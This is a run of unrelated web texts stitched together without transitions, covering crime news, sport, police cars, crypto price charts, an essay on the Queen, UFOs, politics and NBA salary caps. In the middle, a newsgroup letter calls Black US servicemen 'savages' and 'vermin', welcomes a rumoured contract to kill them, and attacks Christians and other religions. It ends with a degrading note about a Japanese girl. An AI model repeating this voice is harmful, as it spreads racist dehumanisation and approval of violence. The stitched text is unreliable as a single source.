when your child is missing...or if she's "missing."
Police showed up to the Ocala Entertainment Complex and arrested the sisters without incident. Allison and Laura Niemeyer are currently facing multiple charges ; in addition to shoplifting, Allison is charged with violating her probation and child neglect/abandonment. Laura has been charged resisting a merchant.
Allison Niemeyer Laura Niemeyer
Argentina, runner-up at the 2014 World Cup in Brazil and first in the FIFA rankings, will play its next friendly matches in Houston and Dallas with all of its stars, led by captain Lionel Messi.
Coach Gerardo Martino announced the 24-man roster for the two matches Monday.
Martino named basically the same group of players he previously called up for this year's Copa América, despite speculation that Messi would take a sabbatical from international soccer after Argentina's loss on penalty kicks in the regional tournament's final against Chile in July. The only addition to the 23 players fromCopa América is defender Ramiro Funes Mori, who as a teenager lived in the Dallas area and currently plays for Libertadores Cup champion River Plate.
Monday was the 10-year anniversary of Messi's debut for Argentina's senior team. On August 17, 2005, a 19-year-old Messi stepped on the field at Ferenc Puskas stadium in Budapest in the 18th minute of the second half of a friendly that Argentina won won 2-1 over Hungary. Despite the win, the debut of La Pulga (The Flea) did not leave him pleased, likely because of his ejection a mere 40 seconds in after Messi attempted to elbow a Hungarian player.
Argentina, world champion in 1978 and 1986, is scheduled to play in Houston on September 4th at BBVA Compass Stadium against Bolivia and four days later will play at the AT&T Stadium in Dallas against Mexico, recent winner of the CONCACAF Gold Cup.
gf.moores@chron.com
twitter.com/GermanFMoores
Team Argentina Goalkeepers: Sergio Romero (Manchester United, England), Nahuel Guzmán (Tigres, Mexico), Agustín Marchesin (Santos Laguna, Mexico) Defenders: Pablo Zabaleta (Manchester City, England), Facundo Roncaglia (Genoa, Italy), Ezequiel Garay (Zenit St Petersburg, Russia), Nicolás Otamendi (Valencia, Spain), Milton Casco (Newell's Old Boys, Argentina), Marcos Rojo (Manchester United, England), Ramiro Funes Mori (River Plate, Argentina), Martin Demichelis (Manchester City, England) Midfielders: Javier Mascherano (Barcelona, Spain), Ever Banega (Sevilla, Spain), Lucas Biglia (Lazio, Italy), Javier Pastore (Paris Saint-Germain, France), Erik Lamela (Tottenham Hotspur, England), Roberto Pereyra (Juventus, Italy), Fernando Gago (Boca Juniors, Argentina), Ángel Di María (Paris Saint-Germain, France) Forwards: Lionel Messi (Barcelona, Spain), Sergio Agüero (Manchester City, England), Carlos Tevez (Boca Juniors, Argentina), Gonzalo Higuaín (Napoli, Italy), Ezequiel Lavezzi (Paris Saint-Germain, France) Head Coach: Gerardo Martino
The New York Police Department is set to roll out 40 Nissan Altima hybrid patrol cars in the next two weeks, according to a report in the New York Post.
Unlike other hybrid cars and SUV’s the department already uses for transportation and traffic enforcement, this new fleet will undertake the rigors of patrol duty.
“We won’t know whether they are suitable for wider use until they are subjected to the NYPD’s demanding environment, which includes virtual 24-hour-a-day operation by multiple drivers,” NYPD spokesman Paul Browne was quoted as saying in the Post.
The NYPD has spent $1.1 million to buy and outfit the new ecofriendly cars, which run on combination gas-electric engines. The Nissan hybrids were built at the company’s plant in Smyrna, Tenn.
Currently, the 3,524-vehicle patrol fleet of the NYPD is comprised mostly of large gas-guzzling cars such as the Chevrolet Impala and Ford Crown Victoria, which only get about 16-18 miles per gallon in the city. The hope is, that the fuel-efficient hybrids will live up to the tests which would enable the department to begin an overhaul of their entire fleet.
The hybrid Altima is expected to get 35 mpg even in city driving.
18 of the Altima hybrids will be fully-marked patrol cars, complete with lights, sirens and decals, which raises the price from a base cost of $21,500 to $30,752 per car. According to the report, another 20 are unmarked ($25,595 each), and two are disguised as yellow cabs for anticrime work ($28,600 each).
The hybrid has a top speed of 113 miles per hour.
As fuel costs rose to unprecedented levels in the summer of last year, police departments across the nation began to feel the pinch on their budget. The NYPD isn’t the only city to focus on changing over their fleet to more fuel efficient vehicles.
The Salt Lake City Police Department, late last year, purchased five 2009 Toyota Camry 4-door sedan police hybrids, and a number of three-wheeled electic vehicles in an effort to curb the rising fuel costs to the department.
Gasoline costs are responsible for roughly $1.5 million of the Salt Lake City PD’s budget.
An NYPD spokesman said that his department liked the Altima’s “roominess.”
Key Talking Points
Neo price is trading in a major contracting range with support above $25.00 and resistance near $32.00 against the US Dollar.
There is a major bearish trend line forming with resistance at $31.00 on the 4-hour chart of NEO/USD.
The pair might soon make the next move either above $32.00 or below $25.00.
Neo Price Chart Analysis
There was no major upside move in Neo price above $32.00 and $34.00 resistance levels against the US Dollar. Earlier, there was a downside move initiated from the $39.00 swing high and the price declined back below $30.00.
A low was formed at $24.87 and the price started moving back higher. It traded above 23.6% Fibonacci retracement level of the last decline from the $39.00 high to $24.87 low. However, the upside move was capped by the $32.00 and $34.00 resistance levels.
Moreover, the 50% Fibonacci retracement level of the last decline from the $39.00 high to $24.87 low is acting as a key barrier for an upside drift. There were many false spikes above $32.00 and there is a major bearish trend line forming with resistance at $31.00 on the 4-hour chart of NEO/USD (data feed from bittrex).
On the downside, the $25.00 and $26.00 support levels are holding further losses. The pair is currently below the 100 simple moving average (H4) at $27.10 and might test the $26.00 support.
However, the decline should be limited as long as the $26.00-25.00 support area is intact. It seems like there is a contracting range forming with resistance at $31.00 and $32.00, and support on the downside at $25.00-26.00.
At the end, the pair has to break either $25.00 or $32.00 to make the next move. A 4-hour close above $32.00 would ignite an upside wave toward $40.00.
On the flip side, a break of the $25.00 support might push Neo’s price back toward $20.00.
Trade safe traders and do not overtrade!
The Queen is alive, knees knocking against each other in the empty crusted-on stack of Sandringham House, and meanwhile her death fills the world. A spectre is haunting Her Majesty in her frail and lonely power; her ghost crawls with the frost in those misty end-of-the-world mornings; it rasps her destiny through clanking ceilings late at night. The Queen is going to die. We're all going to die, some day, but the Queen's death is already here, drifting through the world even as she potters about absent-mindedly here and there in the ruins of her empire.
People are willing to believe that the Queen is dead at the slightest hint; even ardent monarchists have a secret forbidden desire for it. When she missed her traditional Christmas Day church service – a "heavy cold", the Palace told us – there were worries, get well soon messages, a nation gleefully gearing itself up for loss. When she hid herself away from the public for days on end we knew something was about to happen. Then the rumours started streaming in, cold wisps out from the ground: a media blackout, a hushed-up announcement, she was dead already and they weren't telling us.
And then something very strange happened. The Queen, wandering through her grounds at 3AM (why? What strange nightmares propelled her?) was mistaken for an intruder by one of her own guards, and nearly shot. It would have been a strange end: all those near-miss illnesses, all that long work throughout the 20th century, protecting a feudal institution from the logic of modernity, updating an anachronism just enough so it can survive – and then she dies with a bullet to the chest, just like the Romanovs a century ago, just like all the other royals who couldn't empty themselves of all real content to make themselves acceptable to a changing world. Of course, the line that she was mistaken for an intruder is only the official story, and it's not really believable. How many intruders are tiny, frail women in brightly coloured coats? How many intruders have their faces on the money? Is it possible that the guard nearly shot the Queen because he mistook her for her own ghost?
We're all waiting. Every newspaper has its own database of dead-Queen material, 32-page full-colour supplements compiled over the decades. The police have been working out how to secure her funeral, the TV stations have Dead Queen Day schedules to be rolled out as soon as the doctors announce they couldn't save her, a million brands have soppy tweets sitting expectantly in their draft folders, quivering for death.
When the Queen dies we'll need a lot of bunting, a lot of flowers, a lot of British flags small and large, a lot of clubs to beat the anti-monarchists with, a lot of prison cells in which to hold them, a lot of nooses with which to hang them from the lamp-posts. And in an age of informational capitalism and just-in-time production, the people who make all those things need to constantly take this sudden boom in demand into account, every single day, because it will happen. Her own son, jug-eared and decaying, is living in an inverted Oedipal nightmare: he needs his mother to die so he can assume the long-reigning potency of the paternal phallus. An old woman is still alive, somewhere, but The Queen's Death exists, concretely, in the world; the ghost is real.
Hypothesis: she's been dead for a very long time. Why do people love the Queen so much? It's not as if she's ever actually done anything; she is, in all likelihood, just a dull old Tory living in several stupidly large palaces; her ceremonial role could be executed just as well by pretty much any member of the public, or by one of her corgis, or by one of her waxworks. Ask any devoted monarchist why they're so fond of this crinkled mediocrity and you'll probably get a variant on the same answer: she represents "tradition", she "provides stability", she's "always been there", she's been "patient", she doesn't go anywhere, she is beyond life and death.
People like the Queen because she's absolutely devoid of attributes. The Queen is a blank master-signifier, something that structures our national discourse without ever having to point towards anything other than itself. She just is. She glows with a halo of faint and unqualified is-ness. She is, in other words, an unexplained phenomenon. Her Majesty Elizabeth the Second, by the Grace of God of the United Kingdom of Great Britain and Northern Ireland, and of Her other Realms and Territories Queen, Head of the Commonwealth, Defender of the Faith is a thing that goes bump in the night.
When she took the crown an era ago in 1953, the person who was Liz Windsor died, and something else took over. She could no longer be just another person; whatever thoughts and feelings she may or may not have had fell into the void, and she became The Queen, utterly blank, a regal nothingness that lives forever on the edge of its own death. An opened set of dates waiting to be filled in again, a (1953-tomorrow), or the day after, or the day after that. She is her own ghost. The thing that was once Liz Windsor sits cold and terrified in some royal estate, and her death rules the country, waiting to happen. And like the faithful and obedient subjects we are, we wait impatiently for it to happen too.
@sam_kriss
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If you do the math (Dr. Sagan was famous for marveling at the “bill-yuns and bill-yuns” of galaxies), it is difficult to believe that there aren’t other forms of intelligence in the universe. In 1961, Dr. Drake, the father of the Search for Extraterrestrial Intelligence project, came up with an equation to show how probable intelligent life is.
Maddy was no cosmologist. She was an amateur UFO watcher like thousands of others around the globe. She loved sitting in a chair overlooking the North Atlantic and peering into the glorious night sky. What do I think of UFOs? I am a skeptic.
Journalists are professional doubters. Unveiling a government budget? You forgot to carry the 1. Want to win hearts and minds in a far-away country? You might want to get the language right. Skeptics can be excessively negative, all arched eyebrows and begging to differ. But sometimes skeptics stop everyone from going off the deep end.
When someone says Big Foot or space visitors, I think misperception or hoax. But the skeptic in me has to note that strange new species are discovered every year. It was only in 2006 that Japanese scientists got the first images of a giant squid (Architeuthis) in the wild.
As for crop circles, I’m sure most are done by midnight pranksters, though I once interviewed William Levengood, a retired professor of physics at the University of Michigan. He had carefully studied samples of grain and soil from crop circles and thought something else – perhaps an ionospheric anomaly – was going on. We’ve had only a century of experience with weather balloons and rocketry. Do we know everything there is to know about the ionosphere?
As for ESP: People who claim they are clairvoyants or can bend spoons with their thought are charlatans in my opinion. But all of us have experienced coincidences too odd to explain. A person you were thinking about phones in the next second. A lost object reappears. Psychologists and physiologists think these are just mental hiccups. Perhaps. But are we certain we are always getting clean data through our senses when we observe something? Werner Heisenberg was uncertain.
Most of what people call the paranormal is probably hogwash. But the word “probably” is where the skeptic earns his or her merit badge. The scientific process is the best and most rational way humans have of trying to understand the natural world they inhabit. It requires careful analysis and study. But it also requires continued doubt.
And that’s where we have a problem in rational discourse today. Writing in a recent issue of the Chronicle of Higher Education, Carlin Romano made a distinction between today’s “science warriors” and the real “philosophers of science.” The former take an absolutist approach to science, skewering everything from the Loch Ness monster to conventional religious beliefs as ignorance. Philosophers of science, however, understand science to be a set of beliefs and knowledge that at times can be turned on its head, a recurring process that Thomas Kuhn described in his book “The Structure of Scientific Revolutions.”
That night when I stood under the stars with Maddy, my dear departed friend and mother-in-law, I saw a light moving way up in the sky. It wasn’t on the smooth trajectory of a satellite. It was an object. It was flying. I could not identify it. That’s as far as I can go. Technically, Maddy was right. It was a UFO. There was probably a good explanation. Probably.
Regarding the rape of the 12-year-old Okinawan child, I have been called upon to voice my opinion about the 12-year-old girl who was raped by three Afro-American savages. This was truly a great tragedy for the poor girl. Now she will never be able to get married and live a happy life. She is forever tainted in the eyes of Japanese society and no respectable Japanese man will have anything to do with her. Those three savages got off easy. They will only have to spend about 8 years in prison and perhaps get time off for good behavior. They should have been given the minimum of life in prison without parole, but the death sentence by hanging would have been preferable. However, I have heard a rumor that certain gangster elements here in Japan will put out an international contract on them when they get out of jail and rid the world of them.
From the postings I read on the newsgroups, there seems to be an attitude that Americans can come to Japan and do what they like to our women. All our women are supposed to be available for one-night stands and there is never any mention of developing a meaningful relationship with them. Roppongi is crawling with the vermin of the US military. It is time that America pack up and leave our islands. We never needed you here in the first place. It all started back in 1853 when Admiral Perry and his black ships landed in Japan. Japan had no choice but to become a colonist power so that they could compete with the West. If we didn't, Perry and President Fillmore had agreed that they would annex Okinawa and use it as a base for an invasion of Japan. Now Japan is unfairly labeled as being a militaristic nation. But before Perry arrived on our shores we had a golden age with 250 years of peace during which time Europeans were slaughtering each other and the Europeans who had invaded America were slaughtering the Indians and enslaving Africans. The racists of America would have done the same to us if we hadn't taken measures to defend ourselves. And the racists Christians of Europe were the vanguard of the European enslavers, who were kidnapping Japanese at the end of the 16th century and selling them as slaves. This is when Toyotomi Hideyoshi lowered the boom on the Christians and banished them from Japan. And to prove that he was serious, he crucified 26 of them in Nagasaki on February 5, 1597. By this act Hideyoshi became the savior of Japan. How many of you white Christians know that in 1581, the chief Jesuit missionary to Japan, Father Organtin, presented an African to the great warlord Oda Nobunaga as a slave, offering to supply him with many others should it please his fancy. Nobunaga was repulsed by the offer and refused it. There is no doubt that the Judeo-Islamic-Christian religion is the scourge of the earth.
And, yes, it is true that America started the Pacific War with Japan. Roosevelt had brought the entire US naval fleet to Honolulu. What would any Japanese general think when he saw that? Clearly, America must be planning to launch an attack upon Japan. And if that attack could be pre-empted by wiping out that fleet, it would make good military sense to do that. Any military man who would not do such a thing would be derelict in his duties. In its war with America, Japan attacked only military targets, but it was the allies who thought it might be a good idea to attack the civilian population of Japan (and in Germany, too), heartlessly incinerating millions of innocent women and children. (Thank you, General Curtis LeMay, General MacArthur, and President Truman. May you and your underlings fry in hell for all eternity.)
It is time that America and Americans leave Japan. You are more than a burden to us. You pollute our culture. You send your GIs and low-class civilians soil our women, and you have the audacity to brag about it over the Internet and advertise where these women can be found.* You should all be ashamed of yourselves.
Fukuyama Hiroaki
Saitama Prefecture, Japan
*Note: I investigated the places in Shinjuku and Roppongi where it was said that you could find Japanese women for sex. Well, as it turns out these women are not Japanese. By speaking to them I discovered that they are mostly from Taiwan, the Philippines, Korea, China, and Thailand. Most of them are here illegally and they work as prostitutes to earn a living because they are unable to find other work.
**Note 2: I would like to thank Mr. Sloan for giving me the opportunity to address this newsgroup.
Not everybody agrees with the views expressed by Mr. Fukuyama. For a somewhat contrary view of the virtue of Japanese womanhood, see the screenplay: Hard Times in Tokyo, Japan .
Here is a photo of a Japanese girl who is not a virgin: A girl who looks like a virgin, but is not (but is she perhaps married?) .
THE GUERRILLA ANGEL REPORT — Transgender people in Omaha, Nebraska, are the target of a group called the Omaha Liberty Project. Their goal is to strip the city’s antidiscrimination protection for trans and LGBT residents from the books.
They’re attempting to force a public vote on the matter even though the ordinance is already law. The group has already filed a petition request with the city of Omaha. If approved, the group would have to gather enough signatures within a set period to qualify for being placed for public vote.
The people behind the group include Patrick Bonnett, a Tea Party Organizer, and Femi Awodele, executive director of Christian Couples Fellowship International.
Omaha City Councilman Ben Gray: “This group, whoever it is, must seem to think discrimination against some people is OK.”
Stay tuned.
My earlier post on the Omaha trans rights law: https://lexiecannes.wordpress.com/2012/03/13/omaha-transgenderlgb-protection-ordinance-passes/
Drive to repeal Omaha anti-bias ordinance is under way – Omaha.com.
You’re welcome to share this entire article!
Follow this topic on Lexie Cannes’ Facebook page: http://www.facebook.com/lexiecannes
Support this site, get the transgender-themed feature film “Lexie Cannes“ DVD here: http://www.lexiecannes.com/id13.html
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A third pulverises an entire room when he mistakenly detonates a bomb during a group photograph.
They are just some of the Islamic State jihadists who have died in calamitous circumstances on the battlefield in footage that could have come from hit satirical film Four Lions.
Now videos of their demise are now being circulated online as users hit back at the terror group after it released horrific footage showing a Jordanian pilot being burned alive.
Scroll down for video
An Islamic State militant loads a mortar moments before the weapon explodes in his face. The footage is among a number of videos circulating online showing jihadists blowing themselves up on the battlefield
The jihadist killed himself after repeatedly re-firing his mortar without giving it time to cool down
Lt Moaz al-Kasasbeh's sickening murder has triggered worldwide revulsion, including a promise by Jordan's king to wage a 'harsh' war against the militants.
The Kingdom launched dozens of new airstrikes yesterday against the regime as Jordan's Foreign Minister Nasser Judeh vowed to 'go after them with everything that we have'.
Many of the clips have been packaged up into compilations like a warped version of You've Been Framed.
Some are accompanied by game show-style theme music, while others include comments lampooning the Islamist militants. Many scenes are too graphic too publish.
In this footage, a jihadi destroys the room when he mistakenly detonates a bomb during a group photograph
In one, a jihadist kills himself after repeatedly re-firing his mortar without giving it time to cool down.
Eventually, one round blows up in the chamber, killing him instantly.
Other footage shows fighters being taken out by snipers or burning to death when their trucks are hit by airstrikes.
YouTube user As-salamu Alaykum, who posted one compilation clip, said: 'Fighting Jihad for ISIS is nothing more then joining a murder squad killing innocent Muslims, Christians and others.
'Most of the victims are women and children. If you are a Muslim and think that the Prophet will reward you for this, you're up for a big surprise. Hell is what awaits you all.
'In the meantime, enjoy this video with real footage of jihadists killing themselves because they're just plain stupid.'
This militant appears to be trying to light a fuse, but the explosive detonates before he has time to flee
It comes as Queen Rania of Jordan led protests in the capital Amman this morning as thousands took to the streets after Friday prayers to urge King Abdullah II to step up airstrikes against the Islamic State to avenge the brutal murder of pilot Moaz al-Kasaesbeh.
Crowds massed near the city's main Husseini mosque, then marched chanting 'Death to Daesh', using an Arabic acronym for the terror group, in the latest sign of mounting public anger.
The rally came three days after Islamic State released a video purporting to show Kasaesbeh being burnt alive in a cage as masked militants in camouflage uniforms looked on.
This militant's AK-47 machine explodes in his hands. Videos like this are being circulated online as users hit back at the terror group after it released horrific footage showing a Jordanian pilot being burned alive
Jihadi fail: A militant fires a rocket launcher, but falls limply to the ground just a few feet in front of him
The act has been widely condemned as among the most sickening ever committed to film and has sent waves of revulsion across the Middle East.
Jordan's royal family have led the anti-ISIS protests in the country, with King Abdullah making an emotional visit to the pilot's grieving relatives in his tribal home village yesterday.
Queen Rania broke down in tears as she embraced and comforted his young widow.
Jordan said its warplanes had launched dozens of new airstrikes yesterday against the Islamic State group after vowing a harsh response.
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RCN Telecom Services, LLC (www.rcn.com and www.rcn.com/business) provides industry-leading high-speed internet, all-digital TV and phone services for residential, small/medium and Enterprise business customers. PC Magazine’s Readers’ Choice Award named RCN one of the winners for best ISPs in 2013, 2015 and 2016 – RCN was rated highest in overall satisfaction. RCN is YouTube HD Verified, earning the company the highest-ranking that Google offers. RCN is also a Netflix Open Connect partner, placing in the Top rankings on the Netflix USA ISP Speed Index in the markets RCN serves. RCN's affordably priced advanced digital services are delivered through its proprietary, state-of-the-art fiber-rich network and supported by 100% U.S.-based customer service. RCN's primary service areas include Boston, Chicago, Lehigh Valley (PA), New York City, Philadelphia (Delaware County) and Washington, DC. Media Contact
Marissa Sullivan
The other counties with the highest number of disinvestments were Orange, Santa Clara, San Francisco, Alameda, San Mateo, Ventura, Sacramento, Riverside, San Bernardino, Contra Costa tied with Santa Barbara, San Joaquin, Stanislaus and Sonoma.
Joseph Vranich, site selection consultant and president of Irvine-based Spectrum Location Solutions, said San Diego County had at least 63 disinvestments.
The report excluded instances of companies opening new out-of-state facilities to tap into other growing markets.
The top 10 states businesses migrated to were Texas, Nevada, Arizona, Colorado, Washington, Oregon, North Carolina, Florida, George and Virginia.
Vranich attributes the relocations to regulations, taxes and anxiety.
The top 10 foreign nations that gained the most offshoring are Mexico, India, China, Canada, Malaysia, Philippines, Costa Rica, Singapore, Japan and the United Kingdom.
Capital diverted to out-of-state locations totaled $68 billion.
The top industry to disinvest was manufacturing. Companies who relocated from California or expand elsewhere transfer capital along with shifting jobs, machinery, taxable income, intellectual capital, training facilities and philanthropic investments.
Writer
Politicians and academia, like salt and most delicacies, rarely make for an enjoyable combination. More so, the splicing of failed politicians and academia seems almost preemptively doomed to produce awkward lecture theatre mediocrity. Enter Mike Russell MSP, former education secretary, newly appointed Glasgow University lecturer and the worst thing to have happened to Scottish schooling since the 11-plus.
In his role as a professor in Scottish culture and governance, Mike Russell holds the somewhat ironic responsibility of educating students on the thrill-a-minute rollercoaster of Holyrood bureaucracy, unperturbed, it would seem, by his public and indeed destructive inability to, eh, actually navigate Scottish governance himself.
At least, death by red tape and paper hurdle jumping is the generous explanation for Russell’s failings: another is that he knew exactly who and what was being thrown under the bus when Holyrood slashed school spending by 5% (higher and harsher than in any other part of the UK) between 2011 and 2013 in real terms. Opting instead to redirect money to the middle class subsidies of universal free tuition, free prescriptions (even if the place you call home is a palace constructed entirely of gold and marble) and other spending commitments deemed more important by the then education secretary than, you know, trashy poor kids in council houses whose parents probably won’t turn up to vote anyway.
Overall the proportion of primary and secondary pupils doing “well” or “very well” at reading over the past two years has plummeted, along with basic writing skills, but particularly hard hit have been the most deprived of Scottish pupils. Just two fifths (41%) of S2 kids in poorer areas have been deemed to be performing “well” or “very well’” in writing, a damning drop of 11%. Our attainment gap in Scotland is continuously widening in a biblical fashion, unrivalled since Moses, with fewer pupils from disadvantaged backgrounds going into higher education here than down south. At the same time student numbers at colleges fell by almost 50,000 (colleges, of course, tend to benefit those from less privileged background) while 1,000 teaching positions were cut. Mike Russell’s legacy after five years at the top table of power with sole responsibility over Scottish education could only have been worse had he taken his centralisation preference that one step further and enacted Miss Trunchbull’s ‘chokey’ in every region of the country, from Dundee to Dumfries, and replaced Higher business management with defence against the dark arts for a laugh.
Regardless of your politics, your voting preferences or your star sign, education is everything. It is fundamental. Governments come and go but education will remain a necessity forever; without a decent education poor kids would have virtually no rope ladder to tug on, and any flicker of a meritocratic job market would evaporate.
First minister Nicola Sturgeon was right to sack Mike Russell upon taking over from her more lenient predecessor last year, and the leaders of every other Scottish political party have been right to cast light on the trail of destruction this man has left behind. Logically, a political failure of such grandiose proportions, deemed a liability by even those within his own party, would be expected to flee to the backbenches of the Scottish Parliament, not take up a cushy teaching post at one of the country’s top universities. And yet here we are, Glasgow University, welcoming a failed politician disguised as a scholar.
It’s a bizarre situation worth pondering. Why would a Russell Group university (which, by definition, entails a requirement for top working research professors) hire an ill-qualified guy with a resume more contentious than The Satanic Verses? Perhaps they are hoping to stay on the Scottish government’s good side as Holyrood forces through controversial legislation designed to interfere with the governing bodies of higher education institutions. Legislation considered by some critics, including Liz Smith MSP, confirm her belief that the Scottish government is “hell bent on meddling in governance and exerting more and more control over the sector”. But then it’s not as if Professor Russell is likely to have any particular sway or clout with Nicola Sturgeon, who had the guy out on his ear quicker than a G1 bouncer.
No, the reasoning for Mike Russell’s appointment remains a mystery. Even in the unlikely event that there were no other candidates dripping in degrees available to fill the position, an acting MSP (from the governing party, no less) in a university teaching vacancy is a mildly discomforting thought. Can a politician speak openly about Scottish governance and culture in lecture theatres without criticising his own party, in a way sure to be picked up and tweeted by attendees for the media to see? Fear of publicly speaking out on relevant topics – or rather, fear of its consequences – should have no place in academia, but it could well transpire to be a problem for this new recruit. Can an SNP former cabinet member speak objectively on political culture? Can he discuss the merits of arguments critiquing nationalism? It’s a precarious position: quite the tightrope walk.
Amusingly, just a few short months ago SNP MP Pete Wishart spoke out against ‘double jobbing’ MPs in the House of Commons, commenting: “I believe that being a member of parliament is a full-time job. In fact, we have got two jobs: we have our responsibilities in this House, and then we have our obligations to our constituents”. Evidently, his colleague in the Scottish Parliament does not share that view.
Only time and end-of-semester review sheets will tell how Mike Russell performs as a part-time professor. It’s certainly too late for Muscatelli to back out now. All we can do in the meantime is hope that, for the sake of Glasgow University’s students of Scottish culture and governance, he makes at least a marginally better educator than he did an education secretary, though we may take a perverse sort of comfort in the knowledge that it would be difficult for him to do much worse.
Background [ edit ]
Chad, a landlocked country in Central Africa, participated in 11 Summer Olympic games between its debut in the 1964 Summer Olympics in Tokyo, Japan and the 2012 Summer Olympics in London.[1] The highest number of Chadian athletes to have participated in the summer games is six[1] in the 1988 Summer Olympics in Seoul, South Korea.[2] As of 2016 , no Chadian athlete has ever won a medal at the Olympics.[1] Two athletes from Chad qualified for the London games; Hinikissia Ndikert in the women's track and field 200 metres and Carine Ngarlemdana in the women's 70 kilogram judo completion.[3][4] Chad had no men competing for them; they and Bhutan were the only nations to send only female athletes to the 2012 games.[5]
Athletics [ edit ]
The Olympic Stadium , where Ndikert competed in her events
The 2012 Summer Games was Hinikissia Ndikert's second Olympics.[6] At the 2008 Summer Olympics, age 15, she was her country's flag bearer for both ceremonies.[7][8] In her competition she finished 64th out of 85 competitors in the 100 metres.[9] For the 2012 Summer Olympics, Ndikert qualified for the 200 metres. She competed on August 6th in the first heat of her event.[10] She ran a time of 26.06 seconds and finished last in her heat of eight athletes.[10] She was 3.51 seconds behind the winner of the heat, Murielle Ahouré of Ivory Coast.[10] Overall, Ndikert was the second-slowest athlete of any in the heat round.[11] The only athlete she was faster than was Chan Seyha of Cambodia.[11] Ndikert was 2.96 seconds slower than the slowest athlete that progressed to the semi-final round, and was therefore eliminated.[11]
Key
Note –Ranks given for track events are within the athlete's heat only
–Ranks given for track events are within the athlete's heat only Q = Qualified for the next round
= Qualified for the next round q = Qualified for the next round as a fastest loser or , in field events, by position without achieving the qualifying target
= Qualified for the next round as a fastest loser , in field events, by position without achieving the qualifying target Bye = Athlete not required to compete in round
Women
Athlete Event Heat Semifinal Final Result Rank Result Rank Result Rank Hinikissia Ndikert 200 m 26.06 8 Did not advance
Judo [ edit ]
Carine Ngarlemdana made her Olympic debut at the 2012 games.[12] At the time she was 17 years of age.[12] She was the flag bearer at both the opening and closing ceremonies.[13][14] She was the third Chadian in Olympic history to compete in a judo event.[15] Ngarlemdana qualified for the 70 kilogram event as an African Judo Union qualifier.[16] On 1 August Ngarlemdana competed in the first round of her event.[12] She was drawn against Sally Conway (Great Britain).[12] Ngarlemdana lost 0002—1110 and was therefore eliminated from the competition.[12] Overall she finished joint 17th and, along with five other athletes, last in the competition.[17]
Athlete Event Round of 32 Round of 16 Quarterfinals Semifinals Repechage Final / BM Opposition
Result Opposition
Result Opposition
Result Opposition
Result Opposition
Result Opposition
Result Rank Carine Ngarlemdana Women's −70 kg Conway GBR)
In Massachusetts’s political lore, Durand will be forever linked to Weld. In August, 1996, the two of them dove together into the Charles River, in Boston, to celebrate the passage of the Rivers Protection Act, which placed restrictions on the use of land alongside some nine thousand miles of rivers across the state. Durand, a Democratic state senator at the time, had authored the bill, and Weld, then the governor, had signed it. “He’s such a quirky guy in many ways,” Durand told me this week. He had not seen his friend’s Libertarian conversion coming, but he was not greatly surprised by it.
Weld’s lightheartedness always helped explain his popularity in Massachusetts. He offset the Boston Brahmin élitism he was born into with his unabashed fondness for the Grateful Dead and “amber-colored liquids,” as he once infamously put it. But underneath this joviality is a shrewd and calculating politician. His dive into the Charles with Durand, for example, drew public attention to a bipartisan initiative during Weld’s campaign to unseat John Kerry, then a U.S. senator. After seeing news coverage of the event, Kerry sent Durand a letter. “Stay out of the river with Governor Weld,” Kerry wrote. “You’re costing me votes.”
During his long career, Weld has often projected a sense that he acts on principle, without regard for the consequences. In the early nineteen-seventies, as a counsel with the House Judiciary Committee, he worked on the impeachment of his own party’s President. A few years later, as a U.S. Attorney, he tried to take down the mayor of Boston. In 1988, he resigned from a position in the Justice Department in protest against Ed Meese, who was then the Attorney General. At the 1996 Republican National Convention, he fought a losing battle to remove pro-life language from the Party platform. In 2008, he endorsed Barack Obama for President. And now, at age seventy, he’s joined the Presidential ticket of a party to which he’s never belonged.
Weld is hardly a perfect fit for the Libertarian Party. (In fact, he barely won the Party’s Vice-Presidential nomination, garnering just 50.5 per cent of delegate votes on the second ballot.) His brand of New England Republicanism, now nearly defunct, fully accepts that government has a role to play in the pursuit of the common good. And whereas the Libertarian Party has come to embrace criminal-justice reform and drug legalization, Weld, the hard-nosed former prosecutor, once called himself Attila the Hun on crime issues, and as governor pushed for mandatory minimum sentencing for drug crimes. Other sins, from the Libertarian perspective, can be attributed to the unavoidable realities of Massachusetts politics. As governor, Weld oversaw a growing state budget and supported a ban on assault weapons. Now, as he teams up with his fellow former Republican governor Gary Johnson, who is at the top of the Libertarian ticket, Weld will undoubtedly display another aspect of his character—the ability to adapt to a new reality. He did this in 2006, when he ran for governor of New York, and backed away from his prior support for same-sex marriage in an effort to woo the state’s conservatives. But it should surprise no one if Weld keeps his habit of bucking his own party.
“He will twist and bend to benefit whatever his goal at the moment is,” Arline Isaacson, a veteran Massachusetts lobbyist who tussled with Weld on gay rights, told me. “When it came to L.G.B.T. rights, first he was bad, then he was good, then he was bad, then he was good.”
After his failed 2006 campaign in New York, Weld returned to Massachusetts, where he spent his time lobbying to bring a casino to the Boston area, stoking political rumors about himself, supporting Mitt Romney’s efforts to become President, and helping Charlie Baker, his former protégé, follow his footsteps into the Massachusetts governorship. All the while, he watched as the Republican Party lurched further and further away from the Party he knew, culminating in its takeover by Donald Trump. This might explain why he has jumped into the race. In his first week back in the national spotlight, Weld twice compared Trump’s plan to deport undocumented immigrants to Nazism, first evoking Kristallnacht in a Times interview and later telling MSNBC that Trump’s plan “would remind me of Anne Frank hiding in the attic.”
My immediate reaction to the news was probably similar to most Spurs' fans. I quickly started to think of the cap space it would generate and how it could help the front office land a big free agent. If not Chris Paul, then at least George Hill or Paul Millsap.
But after taking a closer look at the numbers, I believe I had it wrong. Gasol opting out and re-signing for less is in all likelihood the first step towards San Antonio running it back and keeping last year's team together. Let me explain.
Pau's cap hold is huge and is not going anywhere
Since Pau opted out, the first instinct is to consider his contract to be off the books, but that's not how it works. His $16,197,500 contract won't count against the cap, but his $18,600,000 million cap hold will. Until he's signed, the Spurs will actually have more money committed now that Pau has opted out.
Now, Manu Ginobili also has a huge cap hold, but it's easier to actually get rid of it. He might still retire, which would solve things. He might also be fine with being renounced and signing for the room exception worth around $9 million over two years. Pau, on the other hand, is not opting out to get paid that little when he had a guaranteed $16 million left on his deal.
Now, once Pau is signed, the Spurs actually could have some more cap space. But likely not much more. Our old pal Richard Jefferson got $39 million over four years to opt out of a $15 million deal. Pau is older, so he's not going to get such a long contract. Still, this is likely going to be his last big payday and he's opting out to secure more money, not just to help the Spurs. So let's say he gets a two-year, $22 million deal.
That contract would start at roughly $11 million in year one, which would save the Spurs just $5 million. That's not enough to make a big free agent splash. So why go through with it? To answer that, we first need to take a look at the team’s other free agents.
Mills and Simmons are due for a big raise
Patty Mills and Jonathon Simmons earned big raises, but it's impossible to know how big yet. The best way to figure that out seems to be to look at how much similar players have gotten in the open market.
